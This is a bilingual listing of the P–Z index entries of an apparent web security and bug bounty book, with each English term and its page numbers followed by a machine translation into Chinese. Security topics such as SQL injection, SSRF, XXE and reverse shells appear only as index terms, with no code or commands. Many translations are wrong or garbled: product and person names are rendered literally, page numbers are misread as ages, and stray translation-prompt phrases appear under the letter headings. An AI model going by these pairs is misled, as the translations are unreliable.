unserialize()，235

wrappers, 259

包装纸，259

phpmyadmin , 70 , 79

phpmyadmin, 70, 79 -> phpmyadmin，70，79

PHPSESSID , 79

PHPSESSID，79

POC. See proof of concept

POC。见概念证明。

POP chain. See property-oriented programming chain

POP链。参见面向属性编程链。

pop-up, 154

弹出，154

port, 35

端口，35

port number, 35 , 296

端口号，35，296

port scanning, 62 , 69

端口扫描，62，69。

Postman, 362

快递员，362。

postMessage() , 298 – 306

postMessage()，298-306

prepared statements, 192 – 194

准备好的语句，192-194。

principle of least privilege, 201 , 210 , 288

最小特权原则，201，210，288

private network, 218 . See also internal network

私有网络，218。请参见内部网络。

Programmer Help, 273

程序员帮助，273

programming, 44

编程，44

expression, 262

表达，262

for loop, 93

循环，93

function library, 96

函数库，96

functions, 87

功能，87

if-else statements, 86

如果-否则语句，86

interactive programs, 97

交互式程序，97

statement, 262

报表，262

while loop, 98

循环语句，98

Project Sonar, 70

项目声纳，70

proof of concept (POC), 18

概念验证 （POC），18 。

POC generation, 174

POC生成，174。

property-oriented programming chain, 238 – 239

属性导向编程链，238-239。

protocol, 43 , 120 , 296 , 325

协议，43，120，296，325

proxy, 46 , 52 , 72 , 348

代理，46，52，72，348

proxy services, 216

代理服务，216

web proxy, 45

网络代理，45

publicly disclosed reports, 25 . See also write-up

公开的报告，25。另请参见撰述。

publicly disclosed vulnerabilities, 324

公开披露的漏洞，324。

Python, 44 , 244 – 245 , 262 – 273 , 289 – 292

Python，44，244-245，262-273，289-292

dictionary, 272

字典，272。

object, 270

物体，270

Q

"Q" translated to Simplified Chinese is "Q"

Quora, 77

Quora，77

R

`R` 翻译为简体中文：

race conditions, 205 – 212 , 366 , 370

竞态条件，205-212，366，370。

randomization, 178

随机化，178

rate-limiting, 365 – 366 , 378

限制速率，365-366，378

RCE. See remote code execution (RCE)

远程代码执行（RCE）

reachable machines, 224

可达机器，224

recon. See reconnaissance

侦察。请参见“侦察”。

reconnaissance, 25 , 61 – 107 , 243 , 360 , 369

侦察，25，61-107，243，360，369

recon APIs, 104

重建API，104

referer, 132 – 135 , 141 – 163 , 168 – 169 , 315

引荐者，132-135，141-163，168-169，315。

regex. See regular expression

正则表达式。请参见正则表达式。

regular expression, 77 , 88 – 90 , 221 , 298 , 338 – 339

正则表达式、77、88-90、221、298、338-339

constants, 89

常量，89

operators, 89

操作员，89

RexEgg, 90

RexEgg，90

remote code execution (RCE), 236 – 237 , 283 – 293 , 337

远程代码执行（RCE），236-237，283-293，337。

blind RCEs, 288

盲目 RCEs，288

classic RCEs, 288

经典的RCE漏洞，288个。

report states, 21

报告指出，21。

duplicate, 22

重复，22

informative, 22

信息丰富，22。

invalid reports, 26

无效报告，26。

low-severity bug, 26

低严重性故障，26

mediation, 23

调解，23

N/A, 22

不适用，22

need more information, 22

需要更多的信息，22。

resolved, 23

已解决，23

triaged, 22

分类，22。

Representational State Transfer (REST), 357

表述性状态转移（REST），357

resource locks, 210

资源锁，210

REST. See Representational State Transfer (REST)

REST。见表现状态转移（REST）。

return-oriented programming, 241

返回导向编程，241。

reverse engineering, 6

逆向工程，6

reverse shell, 285

反向 shell，285

rooted device, 6

已取得 root 权限的设备，6。

RSA, 42

RSA，42

S

"S" 的简体中文翻译为 "S"。

S3. See Amazon S3

请参阅亚马逊S3。

safe concurrency, 206

安全并发，206

same-origin policy (SOP), 43 , 295 – 306

同源策略（SOP），43，295-306。

SameSite, 149 – 152 , 159 – 160

"SameSite, 149–152, 159–160" 的简体中文翻译为："SameSite，149-152，159-160"。

SAML. See Security Assertion Markup Language (SAML)

SAML。请参见安全断言标记语言（SAML）。

sandbox

沙盘

sandbox environment, 265 – 166

沙盒环境，265-166

sandbox escape, 269 – 273

沙箱逃逸，269-273

sanitizing, 114

消毒，114

SAST. See static analysis security testing (SAST)

SAST. 静态分析安全测试（SAST）

SCA. See software composition analysis (SCA)

SCA。请参见软件组成分析（SCA）

scanner, 72

扫描仪，72

scheduling, 206

进度安排，206

scope, 9 – 13 , 26

范围，9-13，26

scope discovery, 65

范围探测，65。

search engine, 63

搜索引擎，63

SecLists, 68 , 372

SecLists，68，372

secret-bridge, 325

秘密桥，325

secret key, 40

秘钥，40

secret storage system, 325

秘密储物系统，325

Secure Shell Protocol (SSH), 218 , 225 , 227

安全外壳协议（SSH），218、225、227。

Secure Sockets Layer (SSL), 67 , 349

"安全套接层（SSL），67，349"

Security Assertion Markup Language (SAML), 309

安全断言标记语言（SAML），309

SAML Raider, 320

SAML Raider，320

SAML signature, 311

SAML签名，311

security context, 302

安全上下文，302

security patches, 340

安全补丁，340

security program, 4

安全方案，4

sensitive data leaks, 312

敏感数据泄漏，312。

sensitive information, 324

敏感信息，324

serialization, 232 . See also deserialization

序列化，232。另见反序列化。

serialized string, 233

序列化字符串，233

server, 34 , 79 . See also client

服务器，34，79。另见客户端。

server logs, 64

服务器日志，64

server status, 64

服务器状态，64

server-side request forgery (SSRF), 213 – 229 , 278

服务器端请求伪造 (SSRF)，213-229，278

blind SSRF, 214

盲 SSRF，214

server-side template injections (SSTIs), 261 – 274

服务器端模板注入（SSTIs），261-274。

server-side vulnerabilities, 6

服务器端漏洞，6个。

service banner, 218

服务横幅，218

service enumeration, 69

服务枚举，69

service provider, 309

服务提供商，309

session, 39 – 40

会话，39-40。

session cookie, 115 , 156 – 160 , 162 – 172 , 308 – 309 , 318 – 321 . See also session ID

会话Cookie，115，156-160，162-172，308-309，318-321。另请参见会话ID。

session ID, 39 . See also session cookie

会话 ID，39. 请参见会话 Cookie。

session management, 39

会话管理，39

Shaw, Zed, 44

肖，泽德，44岁

shebang, 80

井号，80

shell

外壳

commands, 285

命令，285。

interpreter, 62

口译员，62

Shopify, 359

Shopify，359

signature, 40 – 43 , 311 – 312 , 319 – 321 , 351

签名，40–43，311–312，319–321，351

single sign-on (SSO), 307 – 321

单点登录（SSO），307-321。

shared-session SSO, 308 – 309

共享会话SSO，308-309。

SlideShare, 77

SlideShare，77

Snapper, 71 , 316

鲷鱼，71，316

SOAP, 358

SOAP，358

social engineering, 119 , 132

社会工程学，119，132。

Social-Engineer Toolkit, 154

社交工程师工具包，154

software composition analysis (SCA), 340

软件组合分析（SCA），340

software supply chain attack, 288

软件供应链攻击，288

SOP. See same-origin policy (SOP)

SOP（同源策略）

source code review, 76 , 328 , 335 – 346 , 351 , 378 . See also static analysis security testing (SAST), static code analysis

源代码审查，76, 328, 335-346, 351, 378。另请参见静态分析安全测试（SAST），静态代码分析。

source command, 96

源命令，96

spidering, 62 , 71

爬虫、62、71。

Spring Framework, 243

Spring框架，243

SQL. See Structured Query Language (SQL)

SQL。查看结构化查询语言（SQL）

SQL injections, 187 – 203

SQL注入，187-203

blind, 188 , 195

盲，188，195

Boolean based, 196

基于布尔值，196。

classic, 188 , 195

经典的，188，195

error based, 195

基于错误，195

first-order, 191

一阶，191

inferential, 196

推理的，196

out-of-band, 188 , 195

超带外，188，195

second-order, 191

二阶，191

time based, 197

时间为基础，197

UNION based, 195

基于 UNION，195

sqlmap, 202

SQLmap，202

Squarespace, 316

Squarespace, 316: 方格网，316号

SSH. See Secure Shell Protocol (SSH)

SSH。请参见安全外壳协议（SSH）。

SSL. See Secure Sockets Layer (SSL)

SSL。请参见安全套接字层（SSL）

SSL pinning. See certificate pinning

SSL固定。请参阅证书固定。

SSO. See single sign-on (SSO)

SSO。请参见单点登录（SSO）。

SSRF. See server-side request forgery (SSRF)

服务器端请求伪造（SSRF）

SSRFmap, 220

SSRFmap，220

SSTIs. See server-side template injections (SSTIs)

SSTIs。请参阅服务器端模板注入（SSTIs）

Stack Overflow, 77

堆栈溢出，77

state-changing action, 149 , 161

状态更改操作，149，161

static analysis security testing (SAST), 346 . See also source code review, static code analysis

静态分析安全测试（SAST），346。另见源代码审查，静态代码分析。

static code analysis, 378 . See also source code review, static analysis security testing (SAST)

静态代码分析，378。另请参见源代码审查，静态分析安全测试（SAST）。

Structured Query Language (SQL), 187 – 188

结构化查询语言（SQL），187-188

SubBrute, 68

SubBrute，68

subdomain, 64 – 65

子域名，64-65

sibling subdomains, 296

同级子域名，296。

subdomain enumeration, 68 – 69 , 379

子域名枚举，68-69，379。

subdomain takeovers, 308 – 309 , 316 – 318

子域接管，308-309，316-318

Subject Alternative Name, 67 – 68

"替代主题名称, 67-68"

Sublime Text, 59

崇高文本，59

superdomain, 296

超级域，296

SVG, 253

SVG，253

Swagger, 363

Swagger，363

Synack, 4 , 8

Synack，4，8

synchronization, 210

同步，210

syntax error, 123

语法错误， 123

system root, 279

系统根目录，279。

T

T：T

technology stack, 6 , 69 , 78 – 79 , 104

技术栈，6，69，78-79，104

template engines, 261 – 266

模板引擎，261-266。

Embedded Ruby template (ERB), 266

嵌入式Ruby模板（ERB），266

FreeMarker, 266

FreeMarker，266

Jinja, 262

金贾262

Smarty, 266

聪明人，266

Thymeleaf, 266

Thymeleaf，266

Twig, 266

Twig，266。

template injections. See server-side template injections (SSTIs)

模板注入。请参见服务器端模板注入（SSTI）。

test command, 95

测试指令，95。

testing guides, 28

测试指南，28。

third-party service, 308

第三方服务，308

threads, 206

线程，206

time-of-check/time-of-use vulnerabilities. See race conditions

“时间检查/使用漏洞。参见竞争条件。” 的翻译为：时间检查/使用漏洞。参见竞争条件。

time throttling, 366 , 373 – 374

时间限制，366，373-374

token-based authentication, 40

基于令牌的认证，40。

token forgery, 40

令牌伪造，40

Tomnomnom, 78

Tomnomnom，78

tplmap, 273

tplmap，273

triage, 8 – 9

分类，8-9

truffleHog, 77 , 328 , 339

truffleHog，77，328，339：黑松露猪，77，328，339。

tuple, 270

元组，270

Tutorials Point, 232

教程点，232。

Twitter, 356

推特，356

U

你好，`U` 翻译成简体中文是：`你`。

Unarchiver, 253

解压器，253

unexpected behavior, 370

意料之外的行为，370

Unicode, 140

Unicode，140

Unix, 46 , 81 , 100 – 102 , 177 , 249 , 279 , 290 , 292 , 325 , 372

Unix，46，81，100-102，177，249，279，290，292，325，372

Unrouted addresses, 228

未路由地址，228。

URLs, 63

网址，63

absolute URL, 133 – 134 , 325

绝对URL，133-134，325

components of, 136

136的组成部分

internal URLs, 218

内部链接，218

mangled URLs, 136

混乱的URL，136

relative URLs, 133 , 325

相对 URL，133，325

URL fragments, 118 , 121 , 266

URL片段、118、121、266

URL validation, 133 , 136

URL验证，133, 136

USB debugging, 351

USB调试，351

user input, 342

用户输入，342

user-interface redressing, 143 . See also clickjacking

用户界面重构，143。另请参阅点击劫持。

V

V - V

validating, 114

验证，114

Vault, 325

金库，325

VBScript, 111

VBScript，111

VDPs. See vulnerability disclosure programs (VDPs)

VDPs。参见漏洞披露计划（VDPs）

ViewDNS.info, 66

`ViewDNS.info，66` 转化为简体中文为：`查看DNS信息.info，66`。

View Source Code, 79

查看源代码，79

virtual environment, 352

虚拟环境，352

vulnerabilities, 61

漏洞，61

vulnerability disclosure programs (VDPs), 10

漏洞披露计划（VDP），10

vulnerability report, 16 . See also write-up

漏洞报告，16. 也请参见报告。

severity, 16

严重性，16

steps to reproduce, 18

复制步骤，18

vulnerability scanners, 25

漏洞扫描器，25

W

W：哇

W3Schools, 188

W3Schools，188。

WAF. See web application firewall (WAF)

网络应用程序防火墙（WAF）.

Wappalyzer, 79

Wappalyzer，79

Wayback Machine, 326

时光机，326

Waybackurls, 78

Waybackurls, 78 => Waybackurls，78

web application firewall (WAF), 288

网络应用防火墙（WAF），288

WAF bypass, 293

WAF绕过，293

web applications, 5

网络应用，5。

web browser, 46

网络浏览器，46

web crawling, 71 , 326

网页抓取，71，326

web frameworks, 187

Web框架，187。

Webhooks, 216

Webhooks，216

web-hosting service, 223

Web托管服务，223

web page, 34

网页，34

Web Services Description Language (WSDL), 358 , 362

Web服务描述语言（WSDL），358，362。

web shell, 202

网络 Shell，202

web spidering, 62 , 71

网络爬虫，62，71

Wfuzz, 370 – 371 , 374 – 379

Wfuzz，370-371，374-379 => Wfuzz，370-371，374-379

wget , 285 , 329

wget，285，329

white-box testing, 336 . See also black-box testing, gray-box testing

白盒测试，336。另见黑盒测试和灰盒测试。

whoami , 289

我是谁，289

whois , 65

whois，65

reverse whois, 65

逆向whois，65

whois.cymru.com , 67

"whois.cymru.com, 67" 的翻译为："whois.cymru.com，67"。

Wikipedia, 63

维基百科，63

wildcard, 63 , 101 , 292 , 297 – 299

通配符，63，101，292，297-299

Windows 353

Windows 353：Windows 353

WordPress, 7 , 79 , 280

WordPress，7，79，280：WordPress，7，79，280。

write-up, 28

写作，第28篇

WSDL. See Web Services Description Language (WSDL)

WSDL。请参见Web服务描述语言（WSDL）。

X

`X`的翻译为简体中文是 `X`。

XInclude Attacks, 251 , 254

XInclude攻击，251，254

XMind, 59

思维导图，59

XML. See Extensible Markup Language (XML)

XML. 参见可扩展标记语言（XML）

XML bomb, 258 . See also billion laughs attack

XML炸弹，258。另请参见十亿笑攻击。

XML external entity (XXE), 247 – 260

XML 外部实体 (XXE)，247-260。

blind XXE, 252

盲 XXE，252

classic XXE, 251

经典XXE，251

XMLHttpRequest , 128 , 170

XMLHttpRequest, 128, 170 XMLHttpRequest，128，170

XmlLint, 259

XmlLint，259

X-Powered-By , 79 , 324

X-Powered-By，79，324：动力由79和324提供。

XSS, 111 – 129

XSS，111-129

blind XSS, 116 , 125

盲目 XSS，116，125

reflected XSS, 117 , 343

反射型跨站脚本攻击，117，343。

self-XSS, 119 , 171

自我 XSS，119，171

stored XSS, 115

存储型XSS，115

XSS filter, 126

XSS 过滤器，126

XSS Hunter, 125

XSS猎人，125

XSS polyglot, 124

XSS多语言注入攻击，124

XSS protection, 126

XSS防护，126

XXE. See XML external entity (XXE)

XXE。参见XML外部实体（XXE）

Y

`Y` 的简体中文翻译为：`Y`。

YAML, 234 , 338

YAML，234，338

Ysoserial, 243

Ysoserial，243

Z

`Z`的简体中文翻译为`Z`。

ZAP. See Zed Attack Proxy (ZAP)

ZAP。请参阅 Zed 攻击代理（ZAP）。

Zed Attack Proxy (ZAP), 47 , 72 – 73 , 174 , 362 , 374

Zed攻击代理（ZAP），47，72–73，174，362，374

zip command, 254

压缩命令，254

zlib, 331

zlib，331